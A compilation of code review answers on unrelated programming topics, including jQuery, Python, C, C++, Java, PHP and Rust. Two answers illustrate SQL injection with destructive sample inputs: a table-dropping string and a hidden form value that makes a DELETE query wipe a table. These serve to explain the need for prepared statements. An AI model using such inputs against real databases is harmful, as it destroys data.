Note the code uses the shortcut method $.post() to allow skipping the request type.
But a simpler technique would be to add a generic change handler that would be called after any change event on any of those inputs. This can be done by combining the selectors passed to the jQuery function:
$('#priority, #assignedTo, #vendorticket')

This can then be used to add a generic function handler that can get the id of the input using .attr('id'):
$('#priority, #assignedTo, #vendorticket').change(changeHandler);
function changeHandler() {
    var inputId = $(this).attr('id');
    var output = ("#" + inputId + "-result");
    var data = {
        column: inputId,
        id: 15
    };
    data[inputId] = $(this).val()
    $.post({
        url: 'includes/view.func.php', // Updating database based on specified row id, column, and value
        data: data,
        success: function(result) {
            $(output).html(result); //Output span either "Saved" or "Save Failed"
        }
    });
}

If you had a lot more input elements to add to that list, a class could be applied and they could be selected by class name (e.g. $('.inputToWatch')) or else if they were all child elements of a container then a child selector might simplify things (e.g. $('#containerElement input').
Simplifying the success function
The success function could be replaced with a bound function - i.e. a function bound to $(output).html:
success: $().html.bind($(output))

These changes are visible in this phpfiddle.
You could also use the other syntax of $.ajax() i.e. Query.post( url [, data ] [, success ] [, dataType ] )
$.post('includes/view.func.php', data, $().html.bind($(output)));


Attributes with special behaviour in Python

If you are using python 2, your code doesn't work at all. I'll assume you are using python 3.

There a few cases where this will do unexpected things:

t=Test(set())
t.a.add(2)
print t.a

The set will empty.

b = set()
t = Test(b)
b.add(2)
print t.a

The set will again be empty.

These issues are caused because set are mutable. They go away if you only use immutable objects, such as frozenset(), or if you just never use the mutable operations on the sets.

  I was wondering if I can avoid the hidden attribute _a

Instead of providing the name as a parameter, have DefaultAttr make one up such as '_' + str(id(self)). That'll provide a unique attribute to store data on.

  Also the "Void" solution seems dodgy

Instead of "Void" use object(). It'll avoid a string comparison and be guaranteed unique.

Alternately, delete the attribute using delattr instead of storing anything there. Absence of the attribute indicates that you should use the default value.

Alternately, if you restrict the use of the object to immutable objects, just store a reference to the immutable object there. There is no need to use a special sentinel value. Here is my code to implement that idea:

class DefaultAttr(object):
    def __init__(self, empty):
        self._empty = empty
        self._name = '_' + str(id(self))

    def __get__(self, obj, owner=None):
        return getattr(obj, self._name)

    def __set__(self, obj, value):
        if value == self._empty:
            value = self._empty
        setattr(obj, self._name, value)

  The background is that my program had sparse data, meaning that there
  were a lot of objects having empty sets in their attributes which
  wasted a lot of memory.

Actually, your probably shouldn't be doing this at all. Instead, use frozenset(). Whenever you call frozenset() it returns the same set, so the empty sets won't take up excess memory. If you rework your app to use them, you should use much less memory.


dynarr - yet another simple C dynamic array library

Regarding incrementing by a fixed amount
The problem with resizing the storage by a fixed amount each time you reach capacity is that it effectively makes pushing a new element to the array an \$\mathcal{O}(N)\$ operation. If you instead double the amount of storage each time, pushing will be amortized \$\mathcal{O}(1)\$.
The drawback of doubling the capacity each time is that you might waste more memory than if you only increase it by fixed amounts. However, unless you are constrained by the amount of memory you have, I would recommend the doubling approach.
Memory leaks
Your code leaks memory when running out of memory. If you call realloc(), but it returns NULL, the original memory is not freed and still valid. So instead of unconditionally overwriting array->actual, you should write something like:
void *new_actual = realloc(array->actual, new_real_size);

if (!new_actual) {
    free(array->actual);
    return dynarray_nomem(array->actual);
}

array->actual = new_actual;
array->size = new_real_size;

Alternatively, and perhaps even better, is to just keep the original data and return NULL, and let the caller worry about whether they want to destroy the array or want to keep using it:
void *new_actual = realloc(array->actual, new_real_size);

if (!new_actual) {
    return NULL;
}
...

(Re)move the callback
I don't see the point of having a callback function that is called when memory allocation failed, if the caller already has to check the return value of dynarray_push() and dynarray_compact(). I would just remove this unnecessary complexity.

This is an useful feature which can be used to avoid error checking for each push, instead of the caller can specify a callback function which would use something like longjmp to initiate a no memory exit sequence.

If you want this, I recommend you move the mem_callback pointer out of struct dynarr, and make it a global variable named dynarr_mem_callback.
Consider returning a pointer to the pushed element
It would be much more useful if dynarray_push() would return a pointer to the element that was just pushed, instead of a pointer to the start of the array. There is already dynarray_get() to get a pointer to the start, but see below.
Add a function to get a pointer to a specific element
Since it is likely that a user might want to access a specific element in the dynamic array, it would be helpful to add a function that does that in one go. In fact, I would name that function dynarray_get():
void *dynarray_get(dynarray *array, size_t offset) {
    // Bounds checking, has a performance impact though:
    if (offset >= array->occupied)
        return NULL;

    return (char *)array->actual + offset * array->e_size;
}

And add separate functions dynarray_data() and dynarray_size() to get a pointer to the underlying storage and the number of elements respectively.
Avoid using goto
It is quite easy to avoid the goto statement in dynarray_compact(), just replace it with return array->actual. Even better would be to just unconditionally call realloc(), since it is unlikely that size and occupied will be the same, and this is not a function that would be called very often anyway, so it is not performance critical:
void *dynarr_compact(dynarr *array) {
    void *new_actual = realloc(array->actual, array->occupied * array->e_size);

    if (new_actual) {
        array->actual = new_actual;
        array->size = array->occupied;
    }

    return array->actual;
}


Building objects in javascript, without "if(!a[k]) a[k] = []"

Here's one variant which gets rid of the explicit if at the cost of potential useless reassignment. This, however, does not take away the necessity of ensuring that the k key has a collection object in place...

const result =
  myArr.reduce((collector, { k, j, v }) => {
    collector[k] = collector[k] || [];
    collector[k][j] = v;
    return collector;
  }, {});

Assuming, ES6 syntax is fine with you, here's another variant. Please notice that it the spread operator (... will result in copying the ...collector[k] item-by-item). I.e. this is less performant and may be an issue for large objects.

const result =
  myArr.reduce((collector, { k, j, v }) => {
   collector[k] = collector[k] ? [...collector[k], v] : [ v ];
   return collector;
  }, {});

which may be compacted further:

const result =
  myArr.reduce((collector, { k, j, v }) =>
    (collector[k] = collector[k] ? [...collector[k], v] : [ v ], collector),
    {});

Update 1

const result =
  myArr.reduce((collector, { k, j, v }) =>
    (collector[k] = !collector[k] ? [v] : (collector[k].push(v), collector[k])),
    {});


Specification

There is  some possible ambiguity in the specification: Are multiples of 15 counted once as in FizzBuzz or twice as in a more mathematical specification?

Mathematics

The general problem of summing a sequence of integers is well understood

The pseudo code for the FizzBuzz version of the problem:

   threes   = (n/3).toInteger
   fives    = (n/5).toInteger
   fifteens = (n/15).toInteger

   sigmaThrees = [threes * (threes + 1) / 2] * 3
   sigmaFives = ...
   sigmaFifteens = ...

   return sigmaThrees + sigmaFives - sigmaFifteens

Implementation

The implementation should use Haskell's quot to perform integer division.

Performance

Blazingly fast. Not just because there are few calculations but also quot usually runs as a hardware integer operation.


Picking the smallest value in a list using recursion

Instead of adding back to the list to maintain an accumulator (the current minimum in this case), I'd just add a second parameter to the function, and allow it to default to None:

# acc, the accumulator, represents the current lowest found
def my_minimum(lst, acc = None):
   if not lst: # If the list is empty, return the current lowest
      return acc

   # Head is the first element, and the tail is the rest of the list
   # This is a common pattern when recursively iterating a list
   head, *tail = lst

   # The first time this is run, "not acc" fails, and it defaults to head
   new_acc = head if not acc or head < acc else acc

   return my_minimum(tail, new_acc)

lst = [2, 3, 4, 9, 2, -2]

print(my_minimum(lst))
-2

Note though that head, *tail = lst, is quite inefficient, as it requires making an entire copy to construct tail. I'm using it here for brevity.


Whitelist for textarea and save input to file

Responses to your questions

Is it good to use javascript and jQuery mix?

If you are going to include the jQuery library, you might as well use it whenever possible. That may mean converting expressions like
document.getElementById('toFile')

to
$('#toFile')

and
target.value = extractNouns(target.value).join('\n');

to
target.val(extractNouns(target.val()).join('\n');

However, there are some people who believe jQuery isn't as relevant in today's web. For more information, check out youmightnotneedjquery.com/, which offers alternatives to many of the utilities jQuery offers, like the Fetch API for AJAX requests.

And is it correct way use php query to fetch product code and product code ending?

It is difficult to tell what "correct way" means. Do you mean is it acceptable to use PHP to generate Javascript code inline? If so, there are many factors, like who would be reading your code (including your future self), etc. Refer to answers to Is it considered bad practice to have PHP in your JavaScript.
The product codes and endings timeoutId used to generate regexNounFilters could be output using implode() and the values stored in $std inside the foreach could be returned in a callback passed to array_map() -
So instead of:

foreach ($data as $key) {

    $separator = ($key != end($data)) ? ", " : '';
    $std = "/^(" . $key->code . ")([a-zA-Z0-9]{" . $key->ec . "})$/";
    echo $std.$separator;
}

Something like this could be used:
echo implode(", ", array_map(function($key) {
    return "/^(" . $key->code . ")([a-zA-Z0-9]{" . $key->ec . "})$/";
}, $data);

##Other review feedback
var keyword
Because EcmaScript-6 features like arrow functions are used, the ES-6 keywords for variable declarations - i.e. let and const can be used instead of var. Due to the peculiar implications of var (e.g. hoisting) some recommend avoiding the var keyword in modern JS.
Global variable reference
At the start of the JavaScript code I see this:

toFile.focus();

where is toFile defined? is it just utilizing that element using the id attribute? If so, this is basically a global variable reference, which can lead to trouble/confusion in the future as the code grows. Refer to answers to Do DOM tree elements with ids become global variables?. It would be wise to utilize document.getElementById('toFile'), as is done in the second callback in the keyup event handler.
Timer Assignment over-writing
In the keyup event listener on toFile, timeoutId is assigned to two separate timers,

timeoutId = setTimeout(function() {

    const data = toFile.value.split("\n");
    const result = data.unique();
    info.textContent = result.length !== data.length ? "Duplicate removed" : "";
    toFile.value = result.join('\n');
}, 100);

timeoutId = setTimeout(function() {

    onInput(document.getElementById('toFile'));
}, 3000);

Should the first assignment be preserved? Because the second one overwrites it, there is not any way the first can be cleared via clearTimeout(). If the first should be clearable, use a different name for those two timer ids.
DOM Queries
The DOM queries could be optimized by saving references in variables -
for example, $('#status') appears in the beforeSend and success handlers of the AJAX call.

beforeSend: function(xhr) {

    // Let them know we are saving
    $('#status').html('Saving...');
},

A reference could be stored to the DOM element before the call to $.ajax() - e.g.
const successContainer = $('#status')

Then the beforeSend callback could be simplified to a function partial:
beforeSend: successContainer.html.bind(successContainer, "Saving..."),

And the success callback can also utilize that variable:
success: function(toFile) {
    // You can get data returned from your ajax call here. ex. jqObj.find('.returned-data').html()
    // Now show them we saved and when we did
    var d = new Date();
    statusContainer.html('Saved! Last: ' + d.toLocaleTimeString());
},

A function partial could also be used to simplify the second timer:
timeoutId = setTimeout(onInput.bind(null, document.getElementById('toFile')), 3000);

Selector for <form> element
You didn't include the HTML so I am not sure which element(s) this targets:

$('.form').submit(function(e) {

But I would guess it is a <form> tag with attribute class="form". If that is the case, the class attribute isn't necessary, even for CSS. The form element(s) could be selected with the tag name:
$('form').submit(function(e) {


#include "ToBase64.h" // string, experimental/string_view

Best practice in C and C++ is to "#include what you use" in every file. Admittedly, in this case there is no possible way someone could refactor "ToBase64.h" to omit one of those headers, because both of those types are used in the signature of the single function that is the raison d'etre of the header. But still — I'd list #include <string> and #include <std/experimental/string_view> in "ToBase64.cc" as well as in "ToBase64.h".

using std::length_error; // stdexcept
using std::string; // string
using std::experimental::string_view; // experimental/string_view
using std::uint8_t; // cinttypes

In general, using declarations are frowned upon; although again in this case it's harmless. using declarations in header files are the really bad thing. In "ToBase64.cc", you could just as well get away with

using namespace std;

so I'm not sure why you're spending four lines to say basically the same thing. (And the comments aren't adding anything. Kill them.)

string to_base64(const string_view input)

I'm not sure what the best practice is with string_view: take it by value or by const reference? I'll assume by value is fine, since the whole point of string_view is that it's cheap to copy. But in general, taking things by const value is weird. It doesn't change the function's signature — i.e.

string to_base64(const string_view input);
string to_base64(string_view input);

redeclare the same function — so generally we'd like to omit the redundant const.

Man, so far I've commented on every single line of the code "well, this line is weird, but I guess it's harmless in this context..." ;p  Don't worry, the line after this one looks great!

static constexpr smells redundant; is it actually any different from constexpr?

The expression len > output.max_size() / 4 * 3 - 4 has too many operators in too unfamiliar an order for my puny brain. I guess you're saying "suppose I base64-decoded a 0xffffffff-character string... how many characters would the decoding have? If the given plaintext has more characters than that, then let's report that the encoding failed. Except minus four for some reason."

In practice, std::string::max_size() will be on the order of 2^63 or 2^64 — so astronomically large that your algebraic expression is physically incapable of ever being false. (Logically capable, yes. Physically capable, no; no computer in the world will ever have that much memory, or enough time to initialize it if it did.) So I'd say it's better to keep the code simple and omit that check. As a bonus, this lets you kill off the temporary variable len.

If your machine is actually running out of memory, the output.reserve on the next line will throw bad_alloc anyway.

Just kidding — it'll return successfully and then you'll get oomkilled at random, later.

auto remainder{ 0 };
uint8_t leftover{ 0 };

This seems fine to me, but I'm surprised that you're following neither the "Almost Always Auto zealot" pattern of

auto remainder = 0;
auto leftover = uint8_t(0);

nor the "I'm a normal person" pattern of

int remainder = 0;
uint8_t leftover = 0;

I guess your pattern is the one that allows the most use of Uniform Initialization, though.

switch ((remainder %= 3)++)

Please don't.

output += "==";
// ...
output += '=';

This is correct, but strikes me as a refactoring typo waiting to happen. In Python, Javascript, Perl, Bash, etc., string literals can be delimited with either ' or "; but in C++, "==" is a string and '==' is a multi-character character constant with implementation-defined value (15677 on all sane platforms).

output += "==\n";
// ...
output += '=\n';  // oops

Admittedly the above code generates two warnings on both GCC and Clang, and it's a hugely unlikely refactoring anyway; but still, if this were my code, I'd use "double quotes" in both cases.

Other than all these nitpicks, it looks very clean and certainly correct!


Pythonic loop logic for Tic-Tac-Toe game board

When you make "the same" function call repeatedly, you can create a question in the reader's mind whether or not it will return the same value every time (especially where the arguments are mutable objects, but even if not).

This is probably to be avoided where it's easy to do so. In your code the expectation is that the function will eventually change what value it returns to terminate the loop, and then won't change value across the if ... elif

Separately, there is a question of the performance of the code. Strictly speaking it is premature optimization to consider the performance of a function without measuring it to determine whether or not it is significant, but I think most programmers would avoid executing game_status more times than they have to.

On this occasion both concerns are dealt with much the same way -- assign the value to a variable and use the variable repeatedly. This minimizes the number of calls made for performance, and it indicates to the reader when you think you've changed something such that the result might have changed.

There is nothing inherently wrong with using the result of a function call as a condition:

if "foo".startswith("f"):
    print('as expected')

Out of interest - what is the condition in the "main game code" that will break out of the loop, avoiding the loop's else clause? Match abandoned?


The answer to life, the universe, and Project Euler

Processing chunk-by-chunk vs line-by-line

Obviously, if the input file was of 1TB size,
containing a single line full of words,
your computer probably wouldn't have enough memory to run this program.
It could be rewritten to process the input chunk by chunk rather than line by line,
and it will work with input of arbitrary size.
It won't be nearly as pretty and definitely not a pleasant reading.

That being said...

The problem description clearly states the input is a 16K text file
If somebody asked you to process a 1TB file with a single line I think you could safely tell them to go to ... Tell them to change their specs.

So, I'd say don't sweat it.
Using Java 8 streams for the effect of elegant code that even non-Java programmers find pleasant to read,
at the expense of reading the entire line 16K into memory,
is a good trade-off.

Another way to cut off the double quotes, without .substring

Instead of this:

.flatMap(line -> Arrays.stream(line.split(",")))
.map(str -> str.substring(1, str.length() - 1))

You could split on sequences of non-word characters,
and skip the first value (an empty string):

.flatMap(line -> Arrays.stream(line.split("\\W+")))
.skip(1)

Slightly more natural arithmetic expression

In isTriangular, instead of multiplying by 0.5,
I find dividing by 2 more natural.
That way it also nicely corresponds to the formula you included there in the comment:

    return n * (n + 1) / 2 == number;

Going beyond the specs a bit

The wordValue method converts input to uppercase,
but the referenced file already contains only uppercase words.
So the step is unnecessary for Euler,
but sure it's more generally useful this way
(except for the hard-coded path to the input file).

Comment out bits not for review

For clarity for reviewers,
I would comment out these lines,
which are clearly meant for yourself only (and for playing around):

        .peek(System.out::println)
        .mapToInt(ProjEuler42::wordValue)
        .peek(System.out::println)


You can get rid of some of the repetition using a for loop looping over the lambdas and colors and using tuple assignment to at least get rid of one level of having to use indexing as well as the necessity of having to call fitreg twice for each plot:

if __name__ == "__main__":

    D = 1
    N = 10
    mu = np.arange(10)

    xx = mu[:, None] + 0.01 * np.random.randn(N, D)
    yy = 2 * xx + 2 * np.random.randn(N, D)

    plt.clf()
    plt.plot(xx, yy, 'kx')

    x, y = fit(phi_poly, xx, yy)
    plt.plot(x, y, 'b-')
    for lamb, color in zip([1, 10, 0.1], "rgy"):
        x, y = fitreg(phi_poly, xx, yy, lamb)
        plt.plot(x, y[:, 0], '{}-'.format(color))

    plt.show()

I also added a if __name__ == "__main__": guard to allow importing from this script in another script and used numpy.arange for your mu array.

For the construction of xx you don't actually need the numpy.tile, the normal broadcasting rules already do that for you.


Generating a list of primes of a given length

Don't be afraid of typing. Longer names are more readable and should be used except for simple counters. Split out complicated sub-parts where they are separate concepts.

Here is how I would improve it:

import math

def isPrime (primeList, candidate):
    upperLimit = math.sqrt(candidate)
    for p in primeList:
        if candidate % p == 0:
            return False
        if p >= upperLimit:
            break

    return True

def primeList(listLength):
    if listLength < 1 :
        return []
    primes = [2]

    candidate = 3
    while listLength > len(primes):
        if isPrime(primes, candidate):
            primes.append(candidate)
        candidate +=2

    return primes

To make a faster simple prime algorithm, consider the other naive algorithm in the primality test wikipedia article where all primes are of the form 6k +- 1.


It is difficult to make the program faster because time is mostly expended in IO and url connections. It would help for checking changes if you could provide the csv stock files.

On the other hand the code could be greatly simplified. The following code has not been tested (no csv files available) but gives you the idea:

from urllib.request import urlopen
from csv import reader
from threading import Thread

class StockQuote():
    """gets stock data from Yahoo Finance"""

    names = dict(lastPrice='l1', volume='v0', yearrange='w0', PEratio='r0',
                  bookValue='b4', EBITDA='j4', PEGRatio='r5', ticker='s0')

    def __init__(self, quote):
        self.quote = quote
        self.url = 'http://finance.yahoo.com/d/quotes.csv?s={ticker}&f={par}'

    def __getattr__(self, name):
        url = self.url.format(ticker=self.quote, par=StockQuote.names[name])
        return bytes.decode((urlopen(url).read().strip()))

class StockData(Thread):

    def __init__(self, stk, fileobj):
        Thread.__init__(self)
        self.stk = stk
        self.fileobj = fileobj

    def run(self):
        stkdata = {}
        stkObj = StockQuote(self.stk)
        for prprty in StockQuote.names:
            try:
                func = getattr(stkObj, prprty)
                stkdata[prprty] = func()
            except Exception:
                pass

        self.fileobj.write(str(stkdata))

def openSP500file():
    SP500 = reader(open(r'C:\Users\test\Desktop\SP500.csv', 'r'), delimiter=',')
    printlist = open(r'C:\Users\test\Desktop\SP500prices.txt', 'w')
    for x in SP500:
        indStk = x[0]
        t1 = StockData(indStk, printlist)
        t1.start()

def main():
    openSP500file()

if __name__ == '__main__':
    main()


Get Next Working Date, skip weekends and holidays

Here is another way of doing the same thing

<?php

function getWDays($startDate,$holiday,$wDays) {

    // using + weekdays excludes weekends
    $new_date = date('Y-m-d', strtotime("{$startDate} +{$wDays} weekdays"));

    $holiday_ts = strtotime($holiday);

    // if holiday falls between start date and new date, then account for it
    if ($holiday_ts >= strtotime($startDate) && $holiday_ts <= strtotime($new_date)) {

        // check if the holiday falls on a working day
        $h = date('w', $holiday_ts);
            if ($h != 0 && $h != 6 ) {
            // holiday falls on a working day, add an extra working day
            $new_date = date('Y-m-d', strtotime("{$new_date} + 1 weekdays"));
        }
    }

    return $new_date;
}

// here is an example
$start = "2013-08-29";
$holiday = "2013-09-02";
$wDays = 3;

echo "Start: ",date("Y-m-d D", strtotime($start)),"
";
echo "Holiday: ",date("Y-m-d D", strtotime($holiday)),"
";
echo "WDays: $wDays
";

echo getWDays($start, $holiday, $wDays);


Find if value exists using SQL True/False Return

This code is open to injection. Consider
what happens if I pass sometext'; Drop Table TblTable; -- into
that variable. Use a proper parameterized query instead.
The SQL statement itself is about as efficient as it can be to my
knowledge. A count would add extra overhead. Using an Exists might
garner you a negligible amount of performance at the cost of
readability. (Exists wouldn't need to return any value at all
except what you tell it.)
You could simplify your return statement by using IsNullOrEmpty()

Instead of:

                If result = "" Then
                    Return False
                Else
                    Return True
                End If

You could just use this:

Return Not String.IsNullOrEmpty(result)


A few quick things:

$del is never defined when you delete based on it
Use prepared statements

Not technically necessary here in your script (depending on $del)

a good habit to have even when data is safe
If you remove the filter later, then the escaping will already be there

Don't silently change user's input

If the user provides invalid input, tell him; don't silently change it.
Not a hard rule by any means, but if a user provides a name and you change it for him, that might be a bit confusing.

Strive for valid HTML

Probably just meant to be a toy-esque script, but it's CodeReview, so might as well be pedantic :-).
You do have a stray
 though after the list input

It's a good habit to separate business logic and presentation

MVC is basically what I'm hinting at, but there's no need to go all the way
New data should never be fetched or generated inside of HTML
The best description of what I'm getting at that I've ever heard is probably (summarized):

If you can't reskin your site without repeating PHP code other than simple output, something is wrong.

A bit hard to explain if you've never seen it, so if you want, I can do a little example.

Escape HTML

Any time you put a variable into html, it should be escaped with htmlspecialchars or htmlentities.
echo '
' . htmlspecialchars($row['name']) . '	';

Just because one input is set does not mean that another is

$_POST['submit'] and $_POST['name'] are not magically linked
A user could exploit this to cause a notice
Never directly access anything a user can control the existence or content of

Use filter_input like showerhead suggested
Or, if you want to do it more directly:

$name = (isset($_POST['name']) && is_string($_POST['name'])) ? $_POST['name'] : null;
Note: everything comes in as either a string or an array even if it's an integer.
$id = (isset($_POST['id']) && is_string($_POST['id'])) ? (int) $_POST['id'] : null;'

(Yes, I am 100% crazy-level paranoid)

Edit: This is a response to the comment below

  if you could elaborate on a couple of your points that would be great.
  Particularly: "Just because one input is set does not mean that another is $_POST['submit'] and $_POST['name'] are not magically linked A user could exploit this to cause a notice"

Consider this code:

if (isset($_POST['submit'])) {
    $name = $_POST['name'];
    ...
}

As discussed above, you should never access a key that your not sure exists.  I'm assuming the logic here is, "well if the form was submitted, then the name field must exist."

That's not the case though.  Consider this HTML:

<form action="http://yoursite.tld/yourpage.php" method="POST">
    <input type="submit" name="submit" value="Submit">
</form>

Now imagine that someone submits this form.

Reading $_POST['name'] will trigger an "undefined index" notice.

So, in short, what I was getting at is that there is no link between the submit and name indexes.  It's completely possible for one to be set and not the other.

Would this actually ever matter?  Probably not.  But still, it can have bad effects like a malicious user seeing file path or trying to fill up a log file.

The code should look like this:

if (isset($_POST['submit'])) {
    $name = (isset($_POST['name']) && is_string($_POST['name'])) ? $_POST['name'] : null;
    ...
}

(Or you could use filter_input.)

  And: The $del issue. The script works great even though you say it isn't defined?

The first time $del appears is on line 15 ($db->query("DELETE FROM name WHERE name='$del'");).  This means that it is either defined in db.php, or it's not defined.

If it's defined in db.php, it shouldn't be.

If it's not defined, that means that it's issuing a notice and being treated as null.

(There's a third, very unlikely possibility that register globals is enabled.  If that abomination is enabled, immediately disable it, or if your hosting company has enabled it without you requesting it, promptly switch companies.)

When null is casted to a string, it becomes an empty string, so the query is probably running like:

$db->query("DELETE FROM name WHERE name=''");

Also, this query falls under my "Use prepared statements" point above.

Imagine if someone submits the following form:

<form action="http://yoursite.tld/page.php" method="POST">
    <input type="submit" name="del_submit" value="Delete">
    <input type="hidden" name="del" value="' OR 1">
</form>

That means that this query would be executed:

DELETE FROM name WHERE name='' OR 1

1 is always true, thus the entire table would be cleared.


Rust code that reads two columns of data from .txt file

I honestly think you should be breaking up the treatment of the file into two parts, as you are already (implicitly) doing so in your function. One part to read the file into a line iterator, another to actually parse.

The "reading into an iterator" is a simple combination of std::fs::File::read_line; I'll instead focus on the other part:

pub fn read_xy_pairs(i: impl Iterator<Item = String>) -> (Vec<f32>, Vec<f32>) {
    i
        .map(|string| -> Vec<f32> {
            string.split(" ")
                .take(2)
                .map(|element| element.parse::<f32>())
                .filter(|element| element.is_ok())
                .map(|element| element.unwrap())
                .collect()
        })
        .filter(|item| item.len() == 2)
        .map(|mut item| (item.swap_remove(0), item.swap_remove(0)))
        .unzip()
}

The processing is clearly laid out, in order:

I convert each element of the iterator, in turn, into an iterator of &str via String::split()
I then truncate this iterator to only take the first two elements lazily
Each element of this iterator gets parsed() and I filter any element that isn't okay, unwrapping those that are
This iterator gets collected into a Vec<f32>
From there, I filter out any element that does not have exactly 2 components, and convert those that do into a tuple2 of (f32, f32)
I then unzip this iterator of (f32, f32) into a (Vec<f32>, Vec<f32>) to fit your type signature


Sierpinski triangle html canvas Implementation

Good things:

const is used for variables that shouldn't be re-assigned
requestAnimationFrame() is used for animating
constants and global variables are declared at the top of the script.
only three functions are used

Suggestions

add a space after control structures like if for readability: this is recommended in many style guides (e.g. AirBnB, Google)
Instead of

if(gradientAnimation)

Add a space:
if (gradientAnimation)

Also recommended by some popular style guides: avoid var unless a global variable is needed. Default to using const to avoid accidental re-assignment (which seems to be a topic of this discussion on your other JS post). If re-assignment is needed then use let.

Use equality operators that don’t coerce types when not needed:
Instead of:

if(iterations == maxIterations)

Use ===
 if (iterations === maxIterations)

A common convention in many languages (including C-based and others) is to have constants that truly never change named using ALL_CAPS - e.g. MAX_ITERATIONS instead of maxIterations, HALF_TRIANGLE_SIDE instead of halfTriangleSide, etc.

the lone i++ at the start of fractal() can be moved down to conditional after the call to drawTriangle() and converted to a pre-increment:
    if (++i < iterations)

Most of the (idiomatic) JS code and JS Style guides I have seen have opening braces on the same line as the function signature or control structure instead of a new line. Perhaps having them on a new line is common in another style guide (e.g. C++, C#, etc.).


Recomendations on where to set an object properties (Repository Pattern)

Part of the goal for using the Repository pattern is to separate the storage from the domain.  By passing the IDataReader in to a Foo object, I feel like the domain gains too much knowledge of the underlying storage mechanism.

So, between the options listed, I prefer setting the object's properties in the Repository.  That being said, if the object doesn't make sense without a certain property, it should still demand it during its creation.  However, even in this case, the Repository would still be responsible for setting all the properties requested.


Fast way of searching for a string in a text file

Fast comes at a price.... code complexity and perhaps readability.

Assuming that your code produces the right results now.... and it is a big assumption because:

it expects the word to be at the beginning/end of the line, or surrounded by spaces (not commas, punctuation, etc.)
it does not look for the word inside another string, it will match 'are', but not 'bare'.

OK, a much faster way (keeping it as Java), is to do the following:

Convert the search string ('are') to a byte-array in the same encoding as the file.
Open a memory-mapped byte-buffer from a File-Channel on the file.
Scan the ByteBuffer, looking for matches to the search byte-array
count the newlines as you go.
close the ByteBuffer

If the file is larger than your memory, you will have to re-position the byte-buffer occasionally. I recommend using a emopry-mapped size of about 4MB plus the size of the search-string. That way you can search the 4MB window, and then start the next window at the next 4mb boundary.

Once you get in to it, it will make sense.

This system will be fast because you will never have to copy the file's data in to Java. Everything will actually happen in the native side of things.

There is a lot to read to make it work.

I would start with a tutorial....

StudyTrails
Yaldix
LinuxTopia

of course, if you want really fast, use grep.

Here is some example code that may get you started:

import java.io.IOException;
import java.nio.MappedByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.channels.FileChannel.MapMode;
import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;

public class NIOGrep {

    public static void main(String[] args) throws IOException {
        if (args.length != 2) {
            throw new IllegalArgumentException();
        }
        String grepfor = args[0];
        Path path = Paths.get(args[1]);

        String report = searchFor(grepfor, path);

        System.out.println(report);

    }

    private static final int MAPSIZE = 4 * 1024 ; // 4K - make this * 1024 to 4MB in a real system.

    private static String searchFor(String grepfor, Path path) throws IOException {
        final byte[] tosearch = grepfor.getBytes(StandardCharsets.UTF_8);
        StringBuilder report = new StringBuilder();
        int padding = 1; // need to scan 1 character ahead in case it is a word boundary.
        int linecount = 0;
        int matches = 0;
        boolean inword = false;
        boolean scantolineend = false;
        try (FileChannel channel = FileChannel.open(path, StandardOpenOption.READ)) {
            final long length = channel.size();
            int pos = 0;
            while (pos < length) {
                long remaining = length - pos;
                // int conversion is safe because of a safe MAPSIZE.. Assume a reaosnably sized tosearch.
                int trymap = MAPSIZE + tosearch.length + padding;
                int tomap = (int)Math.min(trymap, remaining);
                // different limits depending on whether we are the last mapped segment.
                int limit = trymap == tomap ? MAPSIZE : (tomap - tosearch.length);
                MappedByteBuffer buffer = channel.map(MapMode.READ_ONLY, pos, tomap);
                System.out.println("Mapped from " + pos + " for " + tomap);
                pos += (trymap == tomap) ? MAPSIZE : tomap;
                for (int i = 0; i < limit; i++) {
                    final byte b = buffer.get(i);
                    if (scantolineend) {
                        if (b == '\n') {
                            scantolineend = false;
                            inword = false;
                            linecount ++;
                        }
                    } else if (b == '\n') {
                        linecount++;
                        inword = false;
                    } else if (b == '\r' || b == ' ') {
                        inword = false;
                    } else if (!inword) {
                        if (wordMatch(buffer, i, tomap, tosearch)) {
                            matches++;
                            i += tosearch.length - 1;
                            if (report.length() > 0) {
                                report.append(", ");
                            }
                            report.append(linecount);
                            scantolineend = true;
                        } else {
                            inword = true;
                        }
                    }
                }
            }
        }
        return "Times found at--" + matches + "\nWord found at--" + report;
    }

    private static boolean wordMatch(MappedByteBuffer buffer, int pos, int tomap, byte[] tosearch) {
        //assume at valid word start.
        for (int i = 0; i < tosearch.length; i++) {
            if (tosearch[i] != buffer.get(pos + i)) {
                return false;
            }
        }
        byte nxt = (pos + tosearch.length) == tomap ? (byte)' ' : buffer.get(pos + tosearch.length);
        return nxt == ' ' || nxt == '\n' || nxt == '\r';
    }
}


Web Component prevent multiple API fetches

From a super short review;

I would attach the style tag to the head element, especially if you can have this element several times on the page (and ensure that you only add it once)

When all a fat arrow function does is call an another function with the provided parameter(s), then you might as well
  .then(resolve)
  .catch(reject);

instead of
  .then((data) => resolve(data))
  .catch((err) => reject(err));

This will not work in a rainy day scenario;
 window.rates[this.baseCurrency].data.rates[this.conversionCurrency];

Consider how you would handle this if window.rates[this.baseCurrency] is missing.


It seems like you would need to write 3 different sentences for every out you want.
Format strings can help here (maybe not in the edge cases - however you have given no example of those)

"%s rock%s!".
The first string is then either "You", "He", or "She".
The second one is for the "He, She, It the s must fit" rule.

What about the am/are/is/... distinction? You could configure a place holder

#define ARE_IS "{AREIS}"
const std::string DUMB_MESSAGE = "%s" ARE_IS " dumb!";

and then replace ARE_IS with the correct form.

How fitting this solution is, how flexible and how much work you will have with that - we can't guess that with the information given.


Converting hex to binary in the form of string

Review
You don't have a lot of code here to review, so this will necessarily be short.

PEP-8: The Style Guide for Python Code recommends:

snake_case for functions, variables, and parameters.  So aString should be a_string, and retVal should be ret_val.

Better parameter names

What is aString?  "Hello World" is a string, but we can't use it, because you are actually expecting a hexadecimal string.  Perhaps hex_string would be a better parameter name.
Similarly, binary_string would be more descriptive than retStr.

A '''docstring''' would be useful for the function.
Type hints would also be useful.

Alternate Implementation
Doing things character-by-character is inefficient.  It is usually much faster to let Python do the work itself with its efficient, optimized, native code functions.
Python strings formatting supports adding a comma separator between thousand groups.
>>> f"{123456789:,d}"
'123,456,789'

It also supports adding underscores between groups of 4 digits when using the binary or hexadecimal format codes:
>>> f"{548151468:_x}"
'20ac_20ac'
>>> f"{0x20AC:_b}"
'10_0000_1010_1100'

That is most of the way to what you're looking for.  Just need to turn underscores to spaces, with .replace(...) and fill with leading zeros by adding the width and 0-fill flag to the format string.
